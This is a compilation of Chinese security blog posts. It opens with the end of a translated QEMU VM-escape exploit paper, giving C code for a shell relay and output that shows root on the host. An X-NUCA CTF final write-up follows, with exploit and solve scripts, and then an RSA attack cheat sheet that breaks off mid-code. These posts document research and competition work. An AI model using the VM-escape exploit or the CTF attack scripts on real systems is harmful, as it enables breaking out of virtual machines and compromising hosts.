	got.write = &write;

	warnx("[!] enjoy your shell");
	fputs(COLOR_SHELL, stderr);

	in = malloc(sizeof(struct brwpipe));
	out = malloc(sizeof(struct brwpipe));
	err = malloc(sizeof(struct brwpipe));

	in->got = &got;
	out->got = &got;
	err->got = &got;

	in->fd = STDIN_FILENO;
	out->fd = STDOUT_FILENO;
	err->fd = STDERR_FILENO;

	in->ring = &shared_io->in;
	out->ring = &shared_io->out;
	err->ring = &shared_io->err;

	pthread_create(&t_in, NULL, pipe_fd2r, in);
	pthread_create(&t_out, NULL, pipe_r2fd, out);
	pthread_create(&t_err, NULL, pipe_r2fd, err);

	pthread_join(t_in, NULL);
	pthread_join(t_out, NULL);
	pthread_join(t_err, NULL);
}

上一节给出的图说明了共享内存和客户机、主机中运行的进程/线程。

exp 的目标是有漏洞版本的 QEMU,使用 4.9.2 版本的 gcc 编译。为了使 exp 适应特定的 QEMU,我们提供一个 shell 脚本(build-exploit.sh),它将输出一个带有所需偏移的 C 头文件:

$ ./build-exploit <path-to-qemu-binary> > qemu.h

运行完整的 exp(vm-escape.c)将会有下面的输出:

$ ./vm-escape
$ exploit: [+] found 190 potential ObjectProperty structs in memory 
$ exploit: [+] .text mapped at 0x7fb6c55c3620
$ exploit: [+] mprotect mapped at 0x7fb6c55c0f10
$ exploit: [+] qemu_set_irq mapped at 0x7fb6c5795347
$ exploit: [+] VM physical memory mapped at 0x7fb630000000
$ exploit: [+] payload at 0x7fb6a8913000
$ exploit: [+] patching packet ...
$ exploit: [+] running first attack stage
$ exploit: [+] running shellcode at 0x7fb6a89132d0
$ exploit: [!] enjoy your shell
$ shell > id
$ uid=0(root) gid=0(root) ...

5.4 - Limitations

请注意,当前的利用由于某种原因仍然不可靠。在我们的测试环境中(Debian 7 running a 3.16 kernel on x_86_64 arch),我们已经观察到失败概率大约是每 10 次运行失败一次。在大多数失败尝试中,exp 因为不能使用的泄露数据而不能重现 QEMU 内存布局。

这个 exp 在不带 CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE 标志编译的 linux kernel 中不能使用。这种情况下 QEMU 二进制文件(默认选项 -fPIE 编译)映射到一个单独的地址空间,如下所示:


55e5e3fdd000-55e5e4594000 r-xp 00000000 fe:01 6940407   [qemu-system-x86_64]
55e5e4794000-55e5e4862000 r--p 005b7000 fe:01 6940407           ...
55e5e4862000-55e5e48e3000 rw-p 00685000 fe:01 6940407           ...
55e5e48e3000-55e5e4d71000 rw-p 00000000 00:00 0 
55e5e6156000-55e5e7931000 rw-p 00000000 00:00 0         [heap]

7fb80b4f5000-7fb80c000000 rw-p 00000000 00:00 0 
7fb80c000000-7fb88c000000 rw-p 00000000 00:00 0         [2 GB of RAM] 
7fb88c000000-7fb88c915000 rw-p 00000000 00:00 0 
                     ...
7fb89b6a0000-7fb89b6cb000 r-xp 00000000 fe:01 794385    [first shared lib]
7fb89b6cb000-7fb89b8cb000 ---p 0002b000 fe:01 794385            ...
7fb89b8cb000-7fb89b8cc000 r--p 0002b000 fe:01 794385            ...
7fb89b8cc000-7fb89b8cd000 rw-p 0002c000 fe:01 794385            ...
                     ...
7ffd8f8f8000-7ffd8f91a000 rw-p 00000000 00:00 0         [stack]
7ffd8f970000-7ffd8f972000 r--p 00000000 00:00 0         [vvar]
7ffd8f972000-7ffd8f974000 r-xp 00000000 00:00 0         [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

结果是我们的 4 字节溢出不足以覆盖 irq 指针(初始位于堆上的某个 0x55xxxxxxxxxx)指向我们伪造的 IRQState 结构体(注入到某个 0x7fxxxxxxxxxx)

6 - Conclusions

在本文中,我们提出了两种在 QEMU 网络设备仿真器上的漏洞利用方法。这些利用方法结合起来将日穿虚拟机(break out from a VM)并在主机上执行代码。

在这项工作中,我们可能不止一千次搞炸了(crashed)我们的测试虚拟机。调试失败的利用尝试是枯燥的,尤其是复杂的 shellcode 导致多进程、多线程(with a complex shellcode that spawns several threads an processes)。因此,我们希望我们已经提供了足够的技术细节和通用技术,可以在 QEMU 的进一步利用中重用。

7 - Greets

We would like to thank Pierre-Sylvain Desse for his insightful comments. Greets to coldshell, and Kevin Schouteeten for helping us to test on various environments. Thanks also to Nelson Elhage for his seminal work on VM-escape. And a big thank to the reviewers of the Phrack Staff for challenging us to improve the paper and the code.

8 - References

[1] http://venom.crowdstrike.com [2] media.blackhat.com/bh-us-11/Elhage/BH_US_11_Elhage_Virtunoid_WP.pdf [3] https://github.com/nelhage/virtunoid/blob/master/virtunoid.c [4] http://lettieri.iet.unipi.it/virtualization/2014/Vtx.pdf [5] https://www.kernel.org/doc/Documentation/vm/pagemap.txt [6] https://blog.affien.com/archives/2005/07/15/reversing-crc/

9 - Source Code

>

X-NUCA Final-WriteUp

2020年12月16日 08:00

X-NUCA Final-WriteUp

是个🔨WriteUp

0x0

网鼎杯也在深圳,11 月底打,龙鸣比赛吃住路费全不管,还要做核酸。队友有事凑不齐,👴还要考龙鸣普通话考试,据说不考不让毕业,👴直接弃赛,赛后看封神榜。

同样在深圳,X-NUCA 管吃管住,路费报销,做核酸报销,彳亍!赛题质量,彳亍!比赛体验,彳亍!

这个比赛👴🐋非常重视,在初赛时腐败分子 housebuilding 拿出公费让冯老师买了可乐和薯片,可见组织👆对比赛的重视程度。

在薯片的支持下,👴🚪来到了深圳。

👴🚪每次打比赛都要定下一些任务,这次的主线任务是:

  1. 收集报销材料,完成报销
  2. 称霸茶歇区
  3. 接受一切必要或不必要的宴请、礼品、参观,特别是宴请
  4. 腐败

比赛奖项,⑧存在的,👴🚪打比赛就是为了旅游。进决赛=旅游,达成目标,已经按照夺冠规格庆祝了。

0x1 第一天

封神榜

这个招待所,住的很拉跨,但是吃的彳亍。决赛有个人赛,在报道当天晚上,中央已经决定了,由👴去白给。👴不能在食堂一直吃,血亏。

简单做了一些赛前准备,如图所示

2

世界名画《AiDai 去打个人赛》,注:盘子已经收了三轮了。

走之前发现有烤鸭,排了一队,吃了两卷,差点迟到。

七点半打到九点半,俩小时,👴寻思👴也做不出来几个题,但是👴队历史最佳战绩就是白给,所以👴只要参赛就可以追平历史最佳战绩。

比赛在一个教室打,主办方来了挺多人,在教室里溜达,跟监考一样。和大多数比赛一样,规则上写了连外网取消成绩,平台是 CTFd,不是带公司的带平台,估计也没有反作弊系统。

👴先把小黄鸭放桌上

9

一共八道题,Pwn、Reverse、Crypto、Web 四个方向,每个方向各两题。👴先把题看一遍,Pwn 比较花时间,先放着,Crypto2 看着应该是👴能做的,Web 爪巴。Reverse,re1,flag 检查🐓,逻辑不复杂,直接上 angr。

import angr
proj = angr.Project('./re1', auto_load_libs=False)
state = proj.factory.entry_state(add_options={angr.options.LAZY_SOLVES})
sm = proj.factory.simulation_manager(state)
sm.explore(find=0x401338, avoid=0x40131F)
print(sm.found[0].posix.dumps(0))

秒了

X-NUCA2020 个人赛,开赛八分钟👴拿下 re1 一血,一度超越包括清华带学在内的各带知名带学,排名第一。

Crypto leakage

#!/usr/bin/env python3
from Crypto.Util.number import *
from secret import FLAG

p = getPrime(1024)
q = getPrime(1024)
r = getPrime(1024)

N = p * q * r
phi = (p-1) * (q-1) * (r-1)

e = 65537
d = inverse(e, phi)

p0 = p - p % getPrime(384)
res_0 = p0 + r
res_1 = p0 * r
pt = bytes_to_long(FLAG)
ct = pow(pt, e, N)

if __name__ == '__main__':
    f = open("output.txt", "wb")
    f.write(str(res_0).encode() + b'\n')
    f.write(str(res_1).encode() + b'\n')
    f.write(str(N).encode() + b'\n')
    f.write(str(ct).encode())
    f.close()

三因数 RSA,给了俩白给数据能解出来 r 和 p0

p0 = p - p % getPrime(384),👴试了一下发现是给出了 p 高位,已知 p 高位分解 n,直接套祖传脚本

n=20849349242767366998591400849383176730048316206073530167581187319204920129021133902534236872102248794542580308537895730184413107390058816685881623155278166340799728920567191824581413447850632405668735684107437155821872800458962700873891058827805662368909494186611177542138195861092305846398248332178556765302836883172536285891827071207874546544563931677241137248602806251080558677309539156623859490349843871764009265983399618123066329559983445460349841080116495506071697849791686194072319889360958249547124341882244082426525929818240000481525292061035323426342959727889950250633029037831339292276548830940660886107409
pbits = 1024
p4 = 0b1111101110000010101110010011101111101100101101001100010011101110110011100101101011101001100100101000110001001000111110110110001010000011011000010111110000110110010010110001100001110011010101101101111101110100100111000010000001000111000110111101100010000011010010000000100101101000000010000011110101001101101010000001110100111101000000010001111100111010101011011000011101011100110000100100111000000001110101010111111110111111000110001110101011010101100111011011101110101110011110100110110100010001000011101101011100000010000001111110110000100101011100101110000100000011010010101110101010010011000110

kbits = pbits - p4.nbits() 
p4 = p4 << kbits 
PR.<x> = PolynomialRing(Zmod(n))
f = x + p4
roots = f.small_roots(X=2^kbits, beta=0.4) 
if roots: 
  p = p4+int(roots[0])
  assert n % p == 0
  q = n/int(p)
  print(p)
  print(q)

👴刚开始把 p0 和 r 写反了,卡了半天,比赛时觉得无所吊谓,伏笔不带。

比赛结束,主办方要求排名靠前的选手现场口述 wp,排名靠前刚好定义到👴前面一名,👴白给,👴提前上车。

👴在车上玩手机,主办方突然来问👴和👴后面的上交带哥💊wp。

发生甚么事了,源赖氏

1

人民曰报不让说涉🐎的东西,👴不说了

主办方说前面 ban 的太多了,轮到👴了,👴脑子可能有点不好使,以为是轮到 ban 👴了。

听说有人看着 burp 把 reverse 解了,🌶💉💧🐂🍺。👴感觉⑧太会顺延到👴,但还是先奶了一波:如果👴个人赛拿奖,👴回学校裸奔。

这是👴见过最牛逼的反作弊系统,是“连外网取消成绩”规则的带进步,用最简单的比赛现场为国内带公司带平台带比赛做出了榜样。

看了眼群👴发现👴错过了甜品,血亏。

0x2 第二天

口乞

贵校食堂早餐龙鸣,⑧彳亍。👴只有在打旅游比赛的时候早上能吃丶好的。👴是第一批到食堂的,一直吃到开车前。快开车了👴看到有些队才刚到,看来现在有些同志吃饭不积极啊,👴从食堂开门吃到现在,他们现在才来。

7

世界名画《其他队在睡觉》

吃饱坐车去比赛场地参加开幕式。👴一进去首先定位茶歇区,然后找撤硕,体育馆这边的撤硕只有两个坑位,👴🚪只能排队。开幕式之后是各带公司吹牛逼环节,所以👴🚪去了茶歇区。

茶歇区相比太湖杯少了罐装可乐和红🐂,有咖啡和红茶,小点心挺不错,这是少有的提供蛋挞的茶歇区。👴吃了挺多蛋挞,7k👴觉得小饼干彳亍,里面那个果干不错,👴感觉太干了,吃的不多,建议 7k👴把果干抠出来吃。

水果没什么研究的,只有7k👴专注于水果方向的研究,建议多和他交流。

盒饭不错,👴感觉第一天的盒饭比第二天好一点,这也可能是因为👴第二天无心吃饭。👴队对山东省赛盒饭的评价很差,评价盒饭时总要拿出来鞭尸,但是👴觉得还行,这也勾起了👴对省赛的回忆,🌶是一个没有茶歇区的中午,👴嘴里叼着个🐓腿把 pwn100 扬了。这次的盒饭和山东省赛盒饭相比要好一些,但是和 CISCN2020 的盒饭相比还有一定的差距。

虽然由教育部高等学校网络空间安全专业教学指导委员会主办的 2020 年第十三届全国大学生信息安全竞赛——创新实践能力赛决赛是由北京易霖博信息技术有限公司作为技术支撑,但是👴🚪要承认,盒饭是针的好吃。

第一天发盒饭的时候比赛还没有开始,所以吃饭的人比较多,👴想蹲着吃饭,出门就发现有个墩,开吃。这时候恰好是深圳带学下课的时间,同学们刚上完体育课,从馆里出来,看👴🚪蹲了一排,如图所示:

3

他们看着👴🚪,👴🚪看着饭

5

赛前准备

👴🚪比较清真,以为比赛不允许连外网,手机关机扔一边,问了主办方才知道可以连外网,差点伏笔。

给小黄鸭戴上狗牌,摆拍(💻桌面是👴🚺)

4

👴先致敬北京易霖博信息技术有限公司,祭天,希望比赛平台平安。看了一眼热点,有 ylbsb(即北京易霖博信息技术有限公司傻逼),彳亍!

6

👴在等比赛开始的时候看了看其他队伍,他们竟然有女同学,👴🍋了,👴🐋应该有更多的女同学。三万👴这次⑧批判👴了,⑧让👴想👴为啥没女朋友了,可能因为他也在现场⑧。

小路从👴这路过来了一句:他们怎么有小鸭子。👴微信 gank 一波,然后👴小黄鸭就被抱走了

开局 1 awdpwn、1 web、1 koh,awd 没流量,👴🚪⑧能抄作业了。一个解释器,幸好👴🚪有 housebuilding 这个 PL 学姐。

没人比👴更懂 checker-2077

提交 patch 如果 check down 就不会传到 gamebox,但是不会扣分,👴觉得这比宕机扣分不知道高到哪里去了,👴可以瞎几把 patch。

开局先 patch 一下,测一下 checker,程序比较复杂,👴看一开始让输入一个 size。

  puts("Welcome to NeSE Vulnerable Interpreting Server");
  puts("I'll run your script provided. ");
  printf("size: ");
  scanf("%d", &script_size);

%d 改成 %c,check 过了,那没事了,👴去看题了。

白泽出了一血,然后👴🚪被☀了,全场都被 ☀了,不对劲,👴继续 patch。👴🚪把 plt 都🐏了,但还是被☀,👴感觉可能不是👴patch 出了问题,所以👴🚪把 %d 改成 %n,直接把题🐏了,没法运行,但是 check 过了,显示已经送到 gamebox。

但是👴🚪还是被☀了,三万👴说这都穿了铁裤衩了咋还是被日,他称这为《铁裤衩与量子牛子》

👴去找了主办方,👴说👴patch 了还是被☀了,他们说这题洞多,👴可能没 patch 完。

👴的意思是,👴把题🐏了。

这里有两个带问题:

  1. 👴的 patch 不该通过
  2. 如果👴的 patch 已经上传到 gamebox,👴不应该被☀

他们查了一波发现确实出了带问题,差点致敬北京易霖博信息技术有限公司

后来题目维修,checker 应该改了,👴铁裤衩传不上去,吊题洞多,patch 要么 down 要么被☀,直接放弃

夜里的智慧

夜里的智慧就是夜里做题并把题做出来。

初赛👴夜里的智慧,那时👴还没有换电脑,👴在凌晨两点,电脑断电前几秒,☀穿了 ParseC,交了 flag。

在腐败分子 house building 的撺掇下,👴🚪先腐败一波,公费买了一堆咖啡带回招待所。web👴🚪看 web,👴看koh,housebuilding 和 三万👴看 awdpwn。

三万👴顶不住趴了,👴继续看 koh。新出的 koh 是开🚗,👴带学洋文Ⅳ考了 82 分,所以👴看这些变量名大概能猜到这是道力学题。在平面内有辆🚗,输入两个矩阵开车,🚗要碰到平面内的目标,还有时间限制。👴是贵校贵院👴系通信工程专业的带学生,学过高等数学、带学物理、数学物理方法、电磁场与电磁波,这么简单的题都做不出来🐎?

👴确实做不出来。

web👴夜里的智慧,本地出了,睡带觉。

👴也顶不住了,回宿舍睡带觉。

三点多三万👴给👴打电话,👴有丶迷糊,他有丶激动。说是能瞎几把调用函数了,但是需要绕 flag 字符串的 check。👴又给 housebuilding 打电话,👴还是迷糊,👴🚪都听不懂对方在说啥,扯了十几分钟,👴👇楼。

类型混淆,可以调用 readfile 函数,文件名有 check,不能带 flag

    if(wcsstr(str, L"flag") != NULL){
        printf("no way \n");
        return ret;
    }

但是👴🚪可以用 link,虽然也有 check,但是只验了 dst

        if(wcsstr(dst, L"flag") != NULL){
            printf("no way \n");
            return ret;
        }

用 wsnd 和 flag 搞个符号链接然后读 wsnd 就完事了

from pwn import *
a = process("./vuln_interpreting")
context.log_level ='debug'

code = """
string a = "/flag";
string c = "wsnd";
int b(string x,string y){
	return 1;
}
int b = 5;
b(a,c);
string d(string z){
	return "1";
}
int d = 1;
string flag = d(c);

int e(string f){
	return 1;
}
int e = 0;
e(flag);

"""

a.sendlineafter("size",str(len(code)))
pause()
a.sendlineafter("Give me your script(same size):",str(code))
a.interactive()

👴🚪比较喜欢 wsnd 这个字符串,👴感觉以后可以试着改成 ylbsb(即北京易霖博信息技术有限公司傻逼

批量脚本填上去,睡带觉

8

《凌晨四点的深圳》

0x3 第三天

夜里的智慧与夜里的白给

👴夜里的智慧导致⑧能早起,只能吃十分钟,现在有些同志吃饭不积极啊,夜里的白给。

开场👴🚪pwn 批量直接☀全场,夜里的智慧,彳亍!

web 打远程发现少库,夜里的白给。

没人比👴更懂 checker-lemon

新上的 awd 是个密码学,RSA oracal,一个随机数作为 AES key,加密 flag,oracal 可以得到 RSA 加密 AES key 的数据。

👴把随机数 patch 掉直接给 coin 割割,然后先修一波。

开局读 flag

  stream = fopen("flag", "r");
  if ( !stream )
  {
    puts("FLAG not found!");
    exit(-1);
  }
  fscanf(stream, "%s", &flag);

又是格式化字符串,彳亍,👴把 %s 改成 %d,check 过了。铁裤衩,不管了。

Aurora 出了一血,开始☀全场,👴被☀了,👴傻了。👴把 %s 改成 %n,把题🐏了,check 过了,还是被☀。三万👴把 flag 🐏了,改成 f1ag,题🐏了,还是被☀。

👴🚪patch 后的代码是

  stream = fopen("f1ag", "r");
  if ( !stream )
  {
    puts("FLAG not found!");
    exit(-1);
  }
  fscanf(stream, "%n", &flag);

这里有两个带问题:

  1. 👴的 patch 不该通过
  2. 如果👴的 patch 已经上传到 gamebox,👴不应该被☀

👴找主办方,说👴把题🐏了还是被☀。他们查流量没发现👴🚪被日,但是👴们没加防守分,过了几轮修好了,👴穿着铁裤衩加了防守分,差点致敬北京易霖博信息技术有限公司。后来下线维修,checker 更新,👴铁裤衩穿不上了。

继续做题,mode2 故意写了个数组越界。

result = &a1[read(0, a1, a2) - 1];

read 读 EOF 返回 0 就可以越界,执行 else 分支,得到有用的数据。

    if ( *a2 )
    {
      __gmpz_init_set_str(&fuck, a2 + 1, 16LL);
    }
    else
    {
      v3 = get_randbuf(a1, 88);
      __gmpz_init_set_str(&fuck, v3, 16LL);
    }

coin 割割找了一个 CRT 解法,题一上线👴就开始☀全场。

这里有一个带问题,👴🚪都不知道 EOF 咋发,只能用 mac 手动 ctrl+d。

👴继续 patch,先把 mode2 🐏了,check 能过。但是还被☀,👴寻思可能是有队伍找了不用 mode2 的解法,👴想把 e 都换成 65537,但是 check 过不了。队友在手动交 flag,👴在瞎几把 patch。

👴为 checker 的发展做出了巨大贡献,建议给👴颁个带奖。

富土康

web 出了之后👴队三台 mac 一起人工交 flag,熟练度提高后两分钟打完一轮,带🔥都是富土康熟练工,👴继续瞎几把 patch,7k👴负责去茶歇区拿货。

最后一小时看不到榜,但是能看到自己的排名,👴🚪一直稳在第十名,👴一直以为是前十有💴,后来发现是前十一,这波稳了。群里老哥🚪在点歌,👴一时冲动,为了追求刺激,差丶点了个《爱如海带》。

全场好像只有👴🚪这最热闹,因为👴🚪在手动交 flag。在点歌播放《奇迹再现》的时候,👴拍下了三万👴交 flag 的经典画面。

有人丶了 房东的猫 翻唱的《春风十里》,三次元人民群众唱的歌👴听的不多,但是👴希望👴能有个小黑这样的🚺,👴觉得挺合理的。

宴请与参观

下午打完去79 号渔村口乞,那👴🚪肯定去。

10

先整丶饮料,这饮料让👴想起了一些晦气故事,建议去关注陈延毕《我的晦气》。

吃的还彳亍,都是水里面的东西,housebuilding 上菜必拍照,找他要了两张。

11

12

👴没吃饱。

吃完去参观人才广场,那👴🚪肯定去。

👴以为人才广场和阿姆斯特丹村口人才市场一样,是让👴蹲着等工地拉人。

13

14

但是周围没工地。

0x4 第四天

你们看👴吊吗

👴个人赛第四,喜提 8k,伏笔成立,👴和第三同分,如果没把 p0 和 r 写反,可以早交 flag,变成第三名。带伏笔,痛失 2k。

可惜👴没机会发表获奖感言,如果可以,👴一定💊说:

尊敬的吴主席(中国海洋带学信息科学与工程学院学生会主席(正国级)),各位领导,老师们,亲爱的同学们,带家上午好!你们看👴吊吗?

团队赛👴🚪第十,喜提三等奖,喜提两万五,差丶追平历史最佳战绩(2016 决赛-第九名)。

恰逢奖学金发放日,👴学一波卷👴凡学

跑这么远打了个院级比赛,团队赛和个人赛都白给了,👴是垃圾,👴爬

还要配上这个表情

16

然后和三万👴打配合,指出这个院是中科院。

像不像卷👴?

现在的带问题是,👴💊裸奔了。

腐败

👴🚪已经按照夺冠规格庆祝过了,这也没个先例,👴只能加带腐败力度了。

招待所下面有个牛肉火锅,好像还⑧错,腐败!公费牛肉火锅!口乞!

15

可惜 7k 👴爬的早,吃不上

还有个汉堡王,盯了三天了,腐败!公费小汉堡!口乞!

可惜 7k 👴爬的早,吃不上

机场-学校,腐败!公费优享!

可惜 7k 👴爬的早,坐不上

太他妈腐败了,建议枪毙。

0xdeadbeef

X-NUCA 决赛是👴今年体验最好的比赛,虽然使用了带公司的带平台,但题目是 NeSE 的各位👴出的,没有使用带公司收的题目。虽然 checker 出了丶问题,但是题目质量⑧错。

报销路费,招待所自助、盒饭、茶歇区、夜店(79 号渔村)都不错,住宿和吃比起来可能有丶拉跨,但是还行。希望明年还能来。

任务列表

  1. 收集报销材料,完成报销(完成)
  2. 称霸茶歇区(完成)
  3. 接受一切必要或不必要的宴请(79 号渔村)、礼品(小米移动电源 3)、参观(深圳人才广场)
  4. 腐败(夜里的智慧饮料、火锅、小汉堡、优享)

全部完成

这是贵校时隔四年再次进入 X-NUCA 决赛,在茶歇区的支持下,👴🚪约等于追平历史最佳战绩,实现了贵校个人赛零的突破,这是👴的一小步,是贵校的一带步,是贵校第一次个人赛获奖也是最后一次。这可能是贵校第二次进入 X-NUCA 决赛也是最后一次,希望👴🚪的相关工作能够推动贵校数学建模与带学生创新创业事业的发展,推动卷👴们的卷学进步,祝卷👴们身体健康,早日登上国奖风采、保研学长/学姐有话说、优秀毕业生、俊采星驰。我的讲话结束,谢谢带家!

>

RSA从入门到入土

2019年3月5日 08:00

RSA从入门到入土

  • 直接分解n

    p-q 很大或很小

    p-1光滑 Pollard’s p − 1 算法分解N

    from Crypto.Util.number import *
      
    def Pollard_p_1(N):
        a = 2
        while True:
            f = a
            # precompute
            for n in range(1, 80000):
                f = pow(f, n, N)
            for n in range(80000, 104729+1):
                f = pow(f, n, N)
                if n % 15 == 0:
                    d = GCD(f-1, N)
                    if 1 < d < N:
                        return d
            print(a)
            a += 1
    

    p+1光滑 Williams’s p + 1 算法分解N

    yafu

  • 小公钥指数攻击

    • 条件

      e特别小,如e = 3

    • 原理

      $c≡m^{e}\ (mod\ n)$

      $ m^{e} = c + kn $

      $ m = (c + kn)^{1/e} $

      枚举k,开e次根,直到开出整数

      def small_exponent(pubkey, cipher):
      	N = 
          e = 
      	c = 
      	i = 0
      	i = 118719488
      	while 1:
      		if(gmpy.root(c+i*N, 3)[1]==1):
      			plaintext = gmpy.root(c+i*N, 3)[0]
      			break
      		i += 1
      	plaintext = transform.int2bytes(plaintext)
      	print(plaintext)
      
  • 共模攻击

    • 条件

      用相同的n不同的e对明文m加密

    • 原理

      $c_1 ≡ m^{e_1} (mod\ n)$

      $c_2 ≡ m^{e_2} (mod\ n)$

      $gcd(e_1,e_2) = 1$

      存在$s_1,s_2$使$s_1e_1+s_2e_2 = 1$

      $c_1≡m^{e_1}\ (mod\ n)$

      $c_2≡m^{e_2}\ (mod\ n)$

      所以

      $c_1^{s_1}c_2^{s_2}≡(m^{e_1})^{s_1}(m^{e_2})^{s_2}\ (mod\ n)$

      $c_1^{s_1}c_2^{s_2}≡m^{e_1s_1+e_2s_2}\ (mod\ n)$

      $c_1^{s_1}c_2^{s_2}≡m\ (mod\ n)$

      def common_modulus_attack(cipher1,cipher2):
      	c1 = 
      	c2 = 
      	e1 = 
      	e2 = 
      	N = 
      	s = gmpy2.gcdext(e1,e2)
      	s1 = s[1]
      	s2 = -s[2]
      	c2r = gmpy2.invert(c2, N)
      	plaintext = (pow(c1,s1,N) * pow(c2r,s2,N)) % N
      	plaintext = transform.int2bytes(plaintext)
      	print(plaintext)
      
  • dp

    import gmpy2
    e = 
    n = 
    dp = 
    for x in range(1, e):
        if(e*dp%x==1):
            p=(e*dp-1)//x+1
            if(n%p!=0):
                continue
            q=n//p
            phin=(p-1)*(q-1)
            d=gmpy.invert(e, phin)
    
  • dp、dq

    import gmpy2
    p = 
    q = 
    dp = 
    dq = 
    n = p*q
    phin = (p-1)*(q-1)
    dd = gmpy2.gcd(p-1, q-1)
    d=(dp-dq)//dd * gmpy2.invert((q-1)//dd, (p-1)//dd) * (q-1) +dq
    
  • Rabin算法

    • 条件

      e = 2

    • 原理

      $c=m^{2}\ mod\ n$

      $m_p =\sqrt{c}\ mod\ p $

      $m_q =\sqrt{c}\ mod\ q $

      若$p≡q≡3\ (mod\ 4)$

      $m_p = c^{1/4(p+1)}\ mod\ p$

      $m_q = c^{1/4(q+1)}\ mod\ q$

      $y_pp+y_qq=1$

      $gcdext(p,q)$解出$y_p,y_q$

      解出四个明文

      $a = (y_ppm_q+y_qqm_p)\ mod\ n$

      $ b = n -a$

      $c = (y_ppm_q-y_qq_mp)\ mod\ n$

      $d = n - c$

      Jarvis-OJ-hard-rsa

       # coding=utf-8
       import gmpy2
       import string
       from rsa import transform
       n = 87924348264132406875276140514499937145050893665602592992418171647042491658461L
       e = 2
       p = 275127860351348928173285174381581152299
       q = 319576316814478949870590164193048041239
       c = open("flag.enc" ,'rb').read()
       c = transform.bytes2int(c)
       # 计算yp和yq
       inv_p = gmpy2.invert(p, q)
       inv_q = gmpy2.invert(q, p)
             
       # 计算mp和mq
       mp = pow(c, (p + 1) / 4, p)
       mq = pow(c, (q + 1) / 4, q)
             
       # 计算a,b,c,d
       a = (inv_p * p * mq + inv_q * q * mp) % n
       b = n - int(a)
       c = (inv_p * p * mq - inv_q * q * mp) % n
       d = n - int(c)
             
       for i in (a, b, c, d):
           print(transform.int2bytes(i))
      
  • Wiener’s attack

  • Factoring with High Bits Known

    • 条件

      已知N的一个因子的较高位

      coppersmith1

      p.bit_length() == 1024 ,p的高位需已知约576位
      p.bit_length() == 512 ,p的高位需已知约288位
      
    • 例子

      '''
      n = 110884890902749085253001083431222443088115610795940152564793628519927092107501946446399003764508722709710121804620193329162066855289179887539537634989483300155392790067446377224025966917227342075570751172611456818461296838516185655681858001119900898375522640670694604696426035782721144065487316221499661637517
      e = 65537
      c = 56d1b214082fd508567e0a4e101dcaa4f3edf262d7330cae4d75d94b874f53dfe3c9ba66d62a41b7e9331e67ae6907e3c028701e53555fea0832b2908471d04ceb98dbedf576a504902d50c3c32050fa036573de4f466f9c5de6b6bd4ad2f96bd6cd235a62c6c9555eb5ecf5b793b514f60d3e75a8307983c0f1aab746477a7b
      front = 754471047130831460574350468751127056146566410666010180184022324900851348720910487519
      backLength = 512 - front.bit_length()
      '''
          
      import binascii
      n=110884890902749085253001083431222443088115610795940152564793628519927092107501946446399003764508722709710121804620193329162066855289179887539537634989483300155392790067446377224025966917227342075570751172611456818461296838516185655681858001119900898375522640670694604696426035782721144065487316221499661637517
      cipher = 0x56c5afbc956157241f2d4ea90fd24ad58d788ca1fa2fddb9084197cfc526386d223f88be38ec2e1820c419cb3dad133c158d4b004ae0943b790f0719b40e58007ba730346943884ddc36467e876ca7a3afb0e5a10127d18e3080edc18f9fbe590457352dca398b61eff93eec745c0e49de20bba1dd77df6de86052ffff41247d
      e2 = 0x10001
      pbits = 512
      for i in range(0,4095):
        p4 = 0x636c1b2209b27268ad05ff5d64802c40d509cefccd92953227264dab0f27187dea4fdf000
        p4 = p4 + int(hex(i),16)
        kbits = pbits - p4.nbits() 
        p4 = p4 << kbits 
        PR.<x> = PolynomialRing(Zmod(n))
        f = x + p4
        roots = f.small_roots(X=2^kbits, beta=0.4) 
        if roots: 
          p = p4+int(roots[0])
          assert n % p == 0
          q = n/int(p)
          phin = (p-1)*(q-1)
          d = inverse_mod(e2,phin)
          print(d)
          cipher = 0x56d1b214082fd508567e0a4e101dcaa4f3edf262d7330cae4d75d94b874f53dfe3c9ba66d62a41b7e9331e67ae6907e3c028701e53555fea0832b2908471d04ceb98dbedf576a504902d50c3c32050fa036573de4f466f9c5de6b6bd4ad2f96bd6cd235a62c6c9555eb5ecf5b793b514f60d3e75a8307983c0f1aab746477a7b
          flag = pow(cipher,d,n)
          flag = hex(int(flag))[2:-1]
          print (binascii.unhexlify(flag))
      #https://sagecell.sagemath.org/
      
  • Known High Bits Message Attack

    • 例子
      /*
      [+]n=0x7c3139d3be9a691abdf3ff49c712fcb84ba39bbd2189bb98d04e04d2d7cc086c9d31b06fdf828aaeeb3765e1ab8ea41a3f1b8c73b80a498f1e2eaad42a1ac7b8e54e705cd1e3e4a39940f9bdcd16d4b42ab71a826955cc78450d6915663c82ae80fd2f64b7e3a70f2b188b85a738759eeb0688dfa22525bbbe92d7934763445L
      [+]e=3
      [+]m=random.getrandbits(512)
      [+]c=pow(m,e,n)=0x20084d9c4fa81d903437a9fabea4a2ad025a00ddc961e4fcd0f52ff9ec750702c109ce0188ae96e540a5c3dcf55013ced9ee37ad9547240fc8773f81fbb509b0b8ab24ed0288a6e1f997b5c0b196236bc8da2df9cce77c559492963eeafbbe4f5a9cb18098bfac87a1e179b26f60948fb72327acc0675890009a04697b76073L
      [+]((m>>72)<<72)=0xb90f972f73ebb3952b3a8e50233f783732478d874795b44c33f685caf7637f4cd0c90cf3a599e1a01e84a28459220b31a490fd1892df58000000000000000000L
      */
          
      import time
      def matrix_overview(BB, bound):
          for ii in range(BB.dimensions()[0]):
              a = ('%02d ' % ii)
              for jj in range(BB.dimensions()[1]):
                  a += '0' if BB[ii,jj] == 0 else 'X'
                  a += ' '
              if BB[ii, ii] >= bound:
                  a += '~'
              print a
      def coppersmith_howgrave_univariate(pol, modulus, beta, mm, tt, XX):
          
          dd = pol.degree()
          nn = dd * mm + tt
          
          if not 0 < beta <= 1:
              raise ValueError("beta should belongs in (0, 1]")
          
          if not pol.is_monic():
              raise ArithmeticError("Polynomial must be monic.")
             
          polZ = pol.change_ring(ZZ)
          x = polZ.parent().gen()
          
          # compute polynomials
          gg = []
          for ii in range(mm):
              for jj in range(dd):
                  gg.append((x * XX)**jj * modulus**(mm - ii) * polZ(x * XX)**ii)
          for ii in range(tt):
              gg.append((x * XX)**ii * polZ(x * XX)**mm)
          
          BB = Matrix(ZZ, nn)
          
          for ii in range(nn):
              for jj in range(ii+1):
                  BB[ii, jj] = gg[ii][jj]
          
          # display basis matrix
          if debug:
              matrix_overview(BB, modulus^mm)
          
          # LLL
          BB = BB.LLL()
          
